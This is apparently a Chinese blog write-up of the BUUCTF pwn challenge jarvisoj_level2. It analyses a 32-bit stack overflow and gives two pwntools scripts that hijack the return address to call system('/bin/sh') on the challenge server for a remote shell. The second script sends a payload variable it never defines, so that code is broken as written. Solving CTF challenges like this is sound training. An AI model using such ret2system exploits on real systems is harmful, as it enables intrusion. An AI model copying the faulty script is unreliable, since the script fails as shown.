buuctf.pwn.jarvisoj_level2

发布时间 2023-04-04 11:54:20作者: redqx

这个题目,是缓冲区溢出

检测一下

No canary found : 可以看出没有栈保护

NO PIE: 没有地址随机化

然后分析题目

这一次我在网上看到了不同的解法,但是基本思路是一致的

主要看一下这个溢出

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 256u);
}

可溢出的长度是256字节

然后我们能一般构造的长度是0x88+4+...

也就是差不多我们输入的字节数是140,距离256还是差很远的距离

所以我们就快乐的溢出吧

然乎本题目刚好有一些为我们提前准备好的条件

system 的jmp
system 的call
system 在libc的地址指向
/bin/sh 在libc的地址指向

修改rip到call system的时候

于是我们对栈的构造就是

ESP+0: /bin/sh字符串地址

当 call system 后

ESP+0: 返回的RIP
ESP+4: /bin/sh字符串地址
from pwn import*
host='node4.buuoj.cn'
port=29279
p=remote(host,port)
#p=process('./level2')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
call_system=0x0804849E # system的call
p.recvuntil('Input:\n')
payload_call_system=b'\0'*(0x88+4)+p32(call_system)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()

如果我们去call system的话

直接去往 jmp system

那么我们的堆栈应该保持一致

也就是提前的对返回的rip做一个填充

ESP+0: 一个对RIP的填充为0
ESP+4: /bin/sh字符串地址
from pwn import*
host='node4.buuoj.cn'
port=29279
p=remote(host,port)
#p=process('./level2')
#gdb.attach(p)
binsh=0x0804A024 # /bin/sh字符串所在位置
jmp_system=0x08048320  # system的jmp
ret_padding=0
p.recvuntil('Input:\n')
payload_jmp_system=b'\0'*(0x88+4)+p32(jmp_system)+p32(ret_padding)+p32(binsh)
p.sendline(payload_call_system)
p.interactive()